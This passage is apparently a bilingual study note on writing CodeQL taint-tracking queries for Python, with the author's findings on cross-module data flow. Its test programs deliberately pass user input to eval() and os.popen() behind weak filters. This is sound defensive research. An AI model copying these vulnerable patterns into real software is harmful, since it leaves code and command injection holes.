where eval = Value::named("eval") and
      call = eval.getACall()
select call, "call to 'eval'."

Analyzing data flow & tracking tainted data —— 数据流、污点追踪

Tracking user-controlled, or tainted, data is a key technique for security researchers.
数据流分析和污点追踪的主要用途在于分析用户可控的输入是否可能作为污点数据进行恶意行为，或者一些敏感数据会不会被泄露。

CodeQL的CFG分析模块设计思路

主要要解决标准库无法跟踪、变量间赋值导致的混淆以及需要大量计算时间的问题...

1. Local data flow, concerning the data flow within a single function. When reasoning about local data flow, you only consider edges between data flow nodes belonging to the same function. It is generally sufficiently fast, efficient and precise for many queries, and it is usually possible to compute the local data flow for all functions in a CodeQL database.
2. Global data flow, effectively considers the data flow within an entire program, by calculating data flow between functions and through object properties. Computing global data flow is typically more time and energy intensive than local data flow, therefore queries should be refined to look for more specific sources and sinks.

Taint Tracking 的组成

1. One or more sources of potentially insecure or unsafe data, represented by the TaintTracking::Source class. 多个追踪源
2. One or more sinks, to where the data or taint may flow, represented by the TaintTracking::Sink class. 多个薄弱位置
3. Zero or more sanitizers, represented by the Sanitizer class. 0或多个过滤器

Taint Tracking 查询的基本形式

类继承之后要按照实际情况重写几个主要的谓词，以便具体化源和目标位置的特征。
主要负责完成追踪的是hasFlow方法。

/**
 * @name ...
 * @description ...
 * @kind problem
 */

import semmle.python.security.TaintTracking

class MyConfiguration extends TaintTracking::Configuration {

    MyConfiguration() { this = "My example configuration" }

    override predicate isSource(TaintTracking::Source src) { ... }

    override predicate isSink(TaintTracking::Sink sink) { ... }

    /* optionally */
    override predicate isExtension(Extension extension) { ... }

}

from MyConfiguration config, TaintTracking::Source src, TaintTracking::Sink sink
where config.hasFlow(src, sink)
select sink, "Alert message, including reference to $@.", src, "string describing the source"

从HTPP请求到Unsafe函数的Track

在定义Sink类型的时候需要继承自TainiTracking::Sink，并写一个类似“构造函数”的东西说明Sink的特征，最后重写sinks方法说明Sink的类型。

/* Import the string taint kind needed by our custom sink */
import semmle.python.security.strings.Untrusted

/* Sources */
import semmle.python.web.HttpRequest

/* Sink */
/** A class representing any argument in a call to a function called "unsafe" */
class UnsafeSink extends TaintTracking::Sink {

    UnsafeSink() {
        exists(FunctionValue unsafe |
            unsafe.getName() = "unsafe" and
            unsafe.getACall().(CallNode).getAnArg() = this
        )
    }

    override predicate sinks(TaintKind kind) {
        kind instanceof StringKind
    }

}

class HttpToUnsafeConfiguration extends TaintTracking::Configuration {

    HttpToUnsafeConfiguration() {
        this = "Example config finding flow from http request to 'unsafe' function"
    }

    override predicate isSource(TaintTracking::Source src) { src instanceof HttpRequestTaintSource }

    override predicate isSink(TaintTracking::Sink sink) { sink instanceof UnsafeSink }

}

from HttpToUnsafeConfiguration config, TaintTracking::Source src, TaintTracking::Sink sink
where config.hasFlow(src, sink)
select sink, "This argument to 'unsafe' depends on $@.", src, "a user-provided value"

样例中其实还有很多东西没说明白，其实关键在于弄清楚以下几个东西的写法：

• Source (TaintTracking::Source) > 表示起始点
• Sink (TaintTracking::Sink) > 表示利用点 (Source和Sink都封装了很多常用的类)
• Configuration (TaintTracking::Configuration) > 负责串联Source和Sink
• TaintKind (TaintKind) > 可以使用内置的或自定的 文档写的并不是很深入、详细，可能需要翻看封装好的库借鉴一下

TaintTracking::Sink和TaintTracking::Source中用于确定污点类型的谓词分别如下：

abstract class Source {
    abstract predicate isSourceOf(TaintKind kind);
    ...
}

abstract class Sink {
    abstract predicate sinks(TaintKind taint);
    ...
}

案例测试

测试用例（其一）

Source： input()

Sink： eval()

module: calc.py

import os, sys, re

class calc:
    def checkExpr(self, expr):
        a = re.split(pattern=r"[+|-|x|/]", string = expr)
        print(a)
        try:
            int(a[0])
            int(a[1])
        except:
            return 0
        return 1
    def getResult(self, expr):
        if(self.checkExpr(expr)):
            full_expr = "print(%s)"%(expr)
            print(full_expr)
            eval(full_expr) #sink2
            return 1
        else:
            print("hacker!")
            return 0

module: test1.py

import os, sys, re
import calc as ca

class calc:
    def checkExpr(self, expr):
        a = re.split(pattern=r"[+|-|x|/]", string = expr)
        print(a)
        try:
            int(a[0])
            int(a[1])
        except:
            return 0
        return 1
    def getResult(self, expr):
        if(self.checkExpr(expr)):
            full_expr = "print(%s)"%(expr)
            print(full_expr)
            eval(full_expr) #sink2
            return 1
        else:
            print("hacker!")
            return 0

def checkExpr(expr):
    a = re.split(pattern=r"[+|-|x|/]", string = expr)
    print(a)
    try:
        int(a[0])
        int(a[1])
    except:
        return 0
    return 1
def getResult(expr):
    if(checkExpr(expr)):
        full_expr = "print(%s)"%(expr)
        print(full_expr)
        eval(full_expr) #sink2
        return 1
    else:
        print("hacker!")
        return 0

expr = input("expr> ")

test = calc()
test.getResult(expr)

getResult(expr)

module: test2

import os, sys

black_list = ["cmd", "cmd.exe"]

cmd = input("cmd> ")

for item in black_list:
    if item in cmd:
        print("hacker!")
        break
else:
    print(os.popen(cmd).read()) #sink1

我的发现

CodeQL似乎对python的跨模块DataFlow支持不太好（也有一定可能是我写的查询不够完善）。
估计这是个普遍性问题，NAVEX的作者设计思路也是在一开始单独分析每个模块中的sink，只不过她在不同的研究中采取了不同的方式完成从Source到Sink的串联。
由此可以确定，跨模块是一大难点，针对多模块python应用如何解决模块间的溯源是一个可以进行创新的角度。

控制变量分析：

1. 当Sink在不同模块的类内部的成员方法时，无法完整溯源
2. 当Sink在同一个模块的类内部的成员方法时，可以溯源到Source
3. 当Sink在同一个模块单独作为函数声明时，可以溯源到Source
4. 当Sink在不同模块单独作为函数声明时，无法完整溯源

查询脚本

//import semmle.python.security.strings.Untrusted
import python
/* Sources */
//import semmle.python.web.HttpRequest

class EvalSink extends TaintSink {
      EvalSink() {
          exists(FunctionValue eval |
              eval.getName() = "eval" and
              eval.getACall().(CallNode).getAnArg() = this
          )
      }
      override predicate sinks(TaintKind kind) {
          kind instanceof StringKind
      }

}

class InputSrc extends TaintSource{
    InputSrc() {
        exists(FunctionValue input|
            input.getName() = "input" and
            this = input.getACall()
        )
    }
    override predicate isSourceOf(TaintKind kind) {
        kind instanceof StringKind
    }
}

class InputToEvalConfiguration extends TaintTracking::Configuration {

    InputToEvalConfiguration() {
          this = "Example config finding flow from http request to 'unsafe' function"
      }

      override predicate isSource(TaintSource src) { src instanceof InputSrc }

      override predicate isSink(TaintSink sink) { sink instanceof EvalSink }

}

  from InputToEvalConfiguration config, TaintSource src, TaintSink sink
  where config.hasFlow(src, sink)
  select sink, "This argument to 'eval' depends on $@.", src, "a user-provided value"